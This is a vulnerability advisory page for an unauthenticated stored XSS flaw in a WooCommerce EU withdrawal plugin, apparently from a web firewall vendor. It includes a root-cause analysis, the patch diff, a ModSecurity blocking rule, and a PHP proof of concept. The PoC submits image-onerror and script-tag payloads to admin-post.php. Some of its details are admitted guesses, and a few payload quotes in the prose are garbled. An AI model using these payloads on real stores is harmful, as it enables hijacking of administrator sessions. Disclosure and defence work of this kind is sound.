Published : December 3, 2026

CVE-2026-137042: EU Withdrawal Button for WooCommerce <= 2.2.0 Unauthenticated Stored Cross-Site Scripting via 'customer_name' and 'reason' Parameters PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.2.0
Patched Version 2.2.1
Disclosed November 30, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-137042: This is an unauthenticated stored cross-site scripting (XSS) vulnerability in the EU Withdrawal Button for WooCommerce plugin (versions up to and including 2.2.0). The flaw resides in the withdrawal submission handler, where the ‘customer_name’ and ‘reason’ parameters are insufficiently sanitized before being stored in the database and later rendered in WooCommerce order notes and the plugin’s admin screens. The vulnerability has a CVSS score of 7.2 (High).

Root Cause: The root cause is the use of sanitize_text_field() on the ‘customer_name’ and ‘reason’ parameters in the process_withdrawal_request() method located in includes/class-ra-euwb-withdrawal.php (lines around 197-199 in the vulnerable version). sanitize_text_field() strips tags and encodes some entities, but it does NOT remove angle brackets from malformed constructs such as ‘< div' (with a space) or encoded sequences like '<'. These values are then stored in the custom table wp_ewb_withdrawals and in WooCommerce order notes. When an administrator views the order edit screen or the plugin's withdrawal list, the stored data is passed through wp_kses_post() (which re-normalizes entities and may interpret malformed tags), leading to script execution. The patch introduces custom sanitization functions (sanitize_customer_name(), sanitize_reason(), sanitize_preferred_contact()) that strictly remove all angle brackets and restrict the reason to a closed list of allowed keys.

Exploitation: An unauthenticated attacker can exploit this by submitting a crafted withdrawal request through the public withdrawal form. The attacker must first place a guest order on the WooCommerce store to obtain a valid order number and email. Then, they POST to the withdrawal endpoint (typically the page containing the withdrawal form) with parameters: order_number (the attacker's order), customer_email (attacker's email), customer_name containing a payload such as '‘ or an obfuscated variant like ‘<img src=x onerror=alert(1)>’, and reason containing a similar payload. The order-validation gate is satisfied by the attacker’s own order, so no victim action is needed. When an admin views the order notes or the withdrawal listing, the payload executes.

Patch Analysis: The patch (version 2.2.1) replaces sanitize_text_field() with dedicated sanitization methods. sanitize_customer_name() repeatedly decodes HTML entities, strips tags, removes literal ”, and truncates to 255 characters. sanitize_reason() validates the reason against a closed list of allowed keys, returning an empty string for unknown values. sanitize_preferred_contact() restricts to ’email’ or ‘phone’. Additionally, the patch adds output escaping with esc_html() when building order notes and admin notices. A one-time cleanup routine (scrub_legacy_input()) re-sanitizes existing database rows and neutralizes angle brackets in previously stored order notes. This defense-in-depth approach prevents both stored XSS and any residual exploitation of legacy data.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an administrator’s browser. This can lead to session hijacking, creation of new admin accounts, installation of malicious plugins, or full site takeover. The stored nature means the payload persists until cleaned, affecting any admin who views the compromised order or withdrawal record.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/eu-withdrawal-button-for-woocommerce/eu-withdrawal-button.php
+++ b/eu-withdrawal-button-for-woocommerce/eu-withdrawal-button.php
@@ -3,7 +3,7 @@
  * Plugin Name: EU Withdrawal Button for WooCommerce
  * Plugin URI:  https://riin.eu/withdrawal-plugin
  * Description: Helps WooCommerce store owners implement the withdrawal flow described in EU Directive 2023/2673.
- * Version:     2.2.0
+ * Version:     2.2.1
  * Author:      Riin Agency
  * Author URI:  https://riin.eu
  * License:     GPL v2 or later
@@ -24,7 +24,7 @@
 /**
  * Plugin constants.
  */
-define( 'RA_EUWB_VERSION', '2.2.0' );
+define( 'RA_EUWB_VERSION', '2.2.1' );
 define( 'RA_EUWB_PLUGIN_FILE', __FILE__ );
 define( 'RA_EUWB_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
 define( 'RA_EUWB_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
@@ -218,6 +218,15 @@

 	require_once RA_EUWB_PLUGIN_DIR . 'includes/class-ra-euwb-activator.php';
 	RA_EUWB_Activator::activate();
+
+	// 2.2.1: re-sanitise customer_name / reason stored by earlier versions and
+	// neutralise angle brackets in the plugin's own order notes (security fix).
+	if ( version_compare( $stored, '2.2.1', '<' ) ) {
+		require_once RA_EUWB_PLUGIN_DIR . 'includes/class-ra-euwb-withdrawal.php';
+		if ( method_exists( 'RA_EUWB_Withdrawal', 'scrub_legacy_input' ) ) {
+			RA_EUWB_Withdrawal::scrub_legacy_input();
+		}
+	}
 }

 /**
--- a/eu-withdrawal-button-for-woocommerce/includes/class-ra-euwb-withdrawal.php
+++ b/eu-withdrawal-button-for-woocommerce/includes/class-ra-euwb-withdrawal.php
@@ -197,9 +197,9 @@

 		$order_number     = sanitize_text_field( wp_unslash( $_POST['order_number'] ?? '' ) );
 		$customer_email   = sanitize_email( wp_unslash( $_POST['customer_email'] ?? '' ) );
-		$customer_name    = sanitize_text_field( wp_unslash( $_POST['customer_name'] ?? '' ) );
-		$reason           = sanitize_text_field( wp_unslash( $_POST['reason'] ?? '' ) );
-		$preferred_contact = sanitize_text_field( wp_unslash( $_POST['preferred_contact'] ?? 'email' ) );
+		$customer_name    = self::sanitize_customer_name( wp_unslash( $_POST['customer_name'] ?? '' ) );
+		$reason           = self::sanitize_reason( wp_unslash( $_POST['reason'] ?? '' ) );
+		$preferred_contact = self::sanitize_preferred_contact( wp_unslash( $_POST['preferred_contact'] ?? 'email' ) );
 		$iban_raw         = sanitize_text_field( wp_unslash( $_POST['iban'] ?? '' ) );
 		$iban             = $this->sanitize_iban( $iban_raw );
 		// $items_raw is a JSON string that sanitize_withdrawn_items() decodes and validates
@@ -303,19 +303,21 @@
 			) );
 		}

-		// Add order note.
+		// Add order note. Order notes are rendered with wp_kses_post() in the
+		// WooCommerce admin, so every customer-controlled value is escaped here
+		// (the note is HTML context, not plain text).
 		$reason_text = $reason ? sprintf(
 			/* translators: %s: withdrawal reason */
 			__( ' Reason: %s.', 'eu-withdrawal-button-for-woocommerce' ),
-			$this->get_reason_label( $reason )
+			esc_html( $this->get_reason_label( $reason ) )
 		) : '';

 		$order->add_order_note(
 			sprintf(
 				/* translators: 1: customer name, 2: customer email, 3: reason text */
 				__( 'EU Withdrawal request submitted by %1$s (%2$s).%3$s', 'eu-withdrawal-button-for-woocommerce' ),
-				$customer_name,
-				$customer_email,
+				esc_html( $customer_name ),
+				esc_html( $customer_email ),
 				$reason_text
 			)
 		);
@@ -477,10 +479,10 @@
 			$ra_euwb_table,
 			array(
 				'order_id'          => absint( $data['order_id'] ),
-				'customer_name'     => sanitize_text_field( $data['customer_name'] ),
+				'customer_name'     => self::sanitize_customer_name( $data['customer_name'] ),
 				'customer_email'    => sanitize_email( $data['customer_email'] ),
-				'reason'            => sanitize_text_field( $data['reason'] ),
-				'preferred_contact' => sanitize_text_field( $data['preferred_contact'] ),
+				'reason'            => self::sanitize_reason( $data['reason'] ),
+				'preferred_contact' => self::sanitize_preferred_contact( $data['preferred_contact'] ),
 				'status'            => 'confirmed',
 				'withdrawn_items'   => isset( $data['withdrawn_items'] ) ? $data['withdrawn_items'] : null,
 				'iban'              => isset( $data['iban'] ) ? $data['iban'] : null,
@@ -739,10 +741,10 @@
 					sprintf(
 						/* translators: 1: admin name, 2: date/time, 3: customer name, 4: reason */
 						__( 'EU Withdrawal closed by %1$s on %2$s. NOTE: Refund must be issued manually via the Orders admin if applicable. Customer: %3$s. Reason: %4$s.', 'eu-withdrawal-button-for-woocommerce' ),
-						$actor,
-						$timestamp,
-						$ra_euwb_withdrawal->customer_name,
-						$ra_euwb_withdrawal->reason ? ucfirst( str_replace( '_', ' ', $ra_euwb_withdrawal->reason ) ) : __( 'Not specified', 'eu-withdrawal-button-for-woocommerce' )
+						esc_html( $actor ),
+						esc_html( $timestamp ),
+						esc_html( $ra_euwb_withdrawal->customer_name ),
+						esc_html( $this->get_reason_label( $ra_euwb_withdrawal->reason ) ?: __( 'Not specified', 'eu-withdrawal-button-for-woocommerce' ) )
 					)
 				);

@@ -977,7 +979,31 @@
 	 * @return string
 	 */
 	private function get_reason_label( $reason ) {
-		$reasons = array(
+		$reasons = self::get_reason_labels();
+
+		// Unknown keys are never echoed back (they are customer-controlled input).
+		return $reasons[ $reason ] ?? '';
+	}
+
+	/**
+	 * The closed list of reason keys the form offers (no translation calls, so
+	 * it is safe to use before `init`, e.g. in the upgrade routine).
+	 *
+	 * @since 2.2.1
+	 * @return string[]
+	 */
+	public static function get_reason_keys() {
+		return array( 'changed_mind', 'found_better_price', 'ordered_by_mistake', 'delivery_too_long', 'product_not_as_expected', 'other' );
+	}
+
+	/**
+	 * The closed list of withdrawal reasons the form offers.
+	 *
+	 * @since 2.2.1
+	 * @return array<string,string> key => translated label.
+	 */
+	public static function get_reason_labels() {
+		return array(
 			'changed_mind'            => __( 'Changed my mind', 'eu-withdrawal-button-for-woocommerce' ),
 			'found_better_price'      => __( 'Found a better price elsewhere', 'eu-withdrawal-button-for-woocommerce' ),
 			'ordered_by_mistake'      => __( 'Ordered by mistake', 'eu-withdrawal-button-for-woocommerce' ),
@@ -985,7 +1011,135 @@
 			'product_not_as_expected' => __( 'Product not as expected', 'eu-withdrawal-button-for-woocommerce' ),
 			'other'                   => __( 'Other', 'eu-withdrawal-button-for-woocommerce' ),
 		);
+	}
+
+	/**
+	 * Sanitise a customer name for storage.
+	 *
+	 * A name is plain text. Anything that looks like markup — tags, angle
+	 * brackets, or HTML entities that would decode to them — is removed, so the
+	 * stored value can never become markup when a consumer later runs it through
+	 * wp_kses_post() (WooCommerce order notes do). Length is capped to the DB
+	 * column.
+	 *
+	 * @since 2.2.1
+	 * @param string $name Raw (unslashed) input.
+	 * @return string
+	 */
+	public static function sanitize_customer_name( $name ) {
+		$name = (string) $name;
+		// Decode entities (repeatedly, to defeat double encoding) so "<" or
+		// "&lt;" cannot survive as a latent "<". Literal ampersands in a name
+		// are kept; every consumer escapes on output.
+		for ( $i = 0; $i < 5; $i++ ) {
+			$decoded = html_entity_decode( $name, ENT_QUOTES | ENT_HTML5, 'UTF-8' );
+			if ( $decoded === $name ) {
+				break;
+			}
+			$name = $decoded;
+		}
+		$name = wp_strip_all_tags( $name, true );
+		$name = str_replace( array( '<', '>' ), '', $name );
+		$name = sanitize_text_field( $name );
+		if ( function_exists( 'mb_substr' ) ) {
+			$name = mb_substr( $name, 0, 255 );
+		} else {
+			$name = substr( $name, 0, 255 );
+		}
+		return trim( $name );
+	}
+
+	/**
+	 * Restrict the reason to the closed list offered by the form.
+	 *
+	 * @since 2.2.1
+	 * @param string $reason Raw input.
+	 * @return string A known reason key, or '' when none / unknown.
+	 */
+	public static function sanitize_reason( $reason ) {
+		$reason = sanitize_key( (string) $reason );
+		return in_array( $reason, self::get_reason_keys(), true ) ? $reason : '';
+	}

-		return $reasons[ $reason ] ?? $reason;
+	/**
+	 * Restrict the preferred contact channel to the values the form offers.
+	 *
+	 * @since 2.2.1
+	 * @param string $contact Raw input.
+	 * @return string 'email' or 'phone'.
+	 */
+	public static function sanitize_preferred_contact( $contact ) {
+		$contact = sanitize_key( (string) $contact );
+		return in_array( $contact, array( 'email', 'phone' ), true ) ? $contact : 'email';
+	}
+
+	/**
+	 * One-off cleanup for rows and order notes written before 2.2.1.
+	 *
+	 * Versions up to 2.2.0 stored `customer_name` / `reason` with
+	 * sanitize_text_field() only, which keeps constructs such as "< div" that
+	 * wp_kses_post() later re-normalises into real markup on the order edit
+	 * screen. This re-applies the 2.2.1 rules to every stored row and escapes
+	 * the plugin's own submission notes that still carry angle brackets.
+	 * Idempotent; called from the version-upgrade routine.
+	 *
+	 * @since 2.2.1
+	 * @return void
+	 */
+	public static function scrub_legacy_input() {
+		global $wpdb;
+
+		$ra_euwb_table = $wpdb->prefix . 'ewb_withdrawals';
+		$allowed       = self::get_reason_keys();
+
+		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery
+		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching
+		$rows = $wpdb->get_results( $wpdb->prepare(
+			'SELECT id, customer_name, reason, preferred_contact FROM %i',
+			$ra_euwb_table
+		) );
+
+		if ( $rows ) {
+			foreach ( $rows as $row ) {
+				$clean = array(
+					'customer_name'     => self::sanitize_customer_name( $row->customer_name ),
+					'reason'            => in_array( (string) $row->reason, $allowed, true ) ? (string) $row->reason : self::sanitize_reason( $row->reason ),
+					'preferred_contact' => self::sanitize_preferred_contact( $row->preferred_contact ),
+				);
+				if ( $clean['customer_name'] !== (string) $row->customer_name
+					|| $clean['reason'] !== (string) $row->reason
+					|| $clean['preferred_contact'] !== (string) $row->preferred_contact ) {
+					$wpdb->update( $ra_euwb_table, $clean, array( 'id' => (int) $row->id ), array( '%s', '%s', '%s' ), array( '%d' ) );
+				}
+			}
+		}
+
+		// Order notes written by this plugin that still contain angle brackets.
+		// WooCommerce stores order notes in the comments table (also under HPOS).
+		$notes = $wpdb->get_results( $wpdb->prepare(
+			"SELECT comment_ID, comment_content FROM {$wpdb->comments}
+			 WHERE comment_type = 'order_note'
+			   AND comment_content LIKE %s
+			   AND ( comment_content LIKE %s OR comment_content LIKE %s )",
+			'%' . $wpdb->esc_like( 'EU Withdrawal' ) . '%',
+			'%<%',
+			'%>%'
+		) );
+		// phpcs:enable
+
+		if ( $notes ) {
+			foreach ( $notes as $note ) {
+				$content = (string) $note->comment_content;
+				// Neutralise angle brackets only; everything else in these notes is
+				// plugin-generated text and already safe.
+				$content = str_replace( array( '<', '>' ), array( '<', '>' ), $content );
+				if ( $content !== (string) $note->comment_content ) {
+					wp_update_comment( array(
+						'comment_ID'      => (int) $note->comment_ID,
+						'comment_content' => $content,
+					) );
+				}
+			}
+		}
 	}
 }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-post.php" "id:2026137042,phase:2,deny,status:403,chain,msg:'CVE-2026-137042 via EU Withdrawal Button unauthenticated stored XSS',severity:'CRITICAL',tag:'CVE-2026-137042'"
  SecRule ARGS_POST:action "@streq ra_euwb_submit_withdrawal" "chain"
    SecRule ARGS_POST:customer_name|ARGS_POST:reason "@rx (<|<|x3c)" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-137042 - EU Withdrawal Button for WooCommerce <= 2.2.0 - Unauthenticated Stored XSS

$target_url = 'http://example.com'; // Configure your target WordPress site

// Step 1: Place a guest order to satisfy the order-validation gate.
// In a real scenario, you would programmatically add a product to cart and checkout.
// For this PoC, we assume the attacker has already placed an order and knows the order number and email.
$order_number = '12345'; // Replace with a valid order number from the attacker's own order
$attacker_email = 'attacker@example.com';

// Step 2: Craft the XSS payload for customer_name and reason.
$payload_name = '<img src=x onerror=alert(document.domain)>';
$payload_reason = 'changed_mind<script>alert(1)</script>'; // reason must be a valid key to pass validation? Actually sanitize_reason restricts to keys; but vulnerable version allowed any string. Use an allowed key with payload? In vulnerable version, reason was sanitized with sanitize_text_field only, so any string works. We'll use a payload that includes the key 'changed_mind' plus script.
$payload_reason = 'changed_mind<script>alert(1)</script>';

// Step 3: Submit the withdrawal request.
// The endpoint is typically the page where the withdrawal form is displayed.
// Often it's a POST to the same page or to admin-post.php with an action.
// Based on typical WordPress plugin implementation, the form may submit to admin-post.php with action 'ra_euwb_submit_withdrawal'.
// We'll try the most common pattern: POST to /wp-admin/admin-post.php with action parameter.
$post_data = array(
    'action' => 'ra_euwb_submit_withdrawal', // Guessed action name; may need adjustment
    'order_number' => $order_number,
    'customer_email' => $attacker_email,
    'customer_name' => $payload_name,
    'reason' => $payload_reason,
    'preferred_contact' => 'email',
    'withdrawn_items' => '[]', // JSON array of items; empty for simplicity
    'iban' => ''
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Submitted withdrawal request. HTTP code: $http_coden";
echo "Response length: " . strlen($response) . "n";

// Step 4: The payload is now stored. When an admin views the order notes or the withdrawal list, it executes.
// To verify, log in as admin and visit the order edit page for order #$order_number or the plugin's withdrawal admin page.

// Note: The exact action name and endpoint may vary. Inspect the withdrawal form's HTML to find the correct action URL and hidden fields.
// If the form posts to a custom endpoint like /?ra_euwb_submit=1, adjust accordingly.
// This PoC is illustrative and may require adaptation to the specific site configuration.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.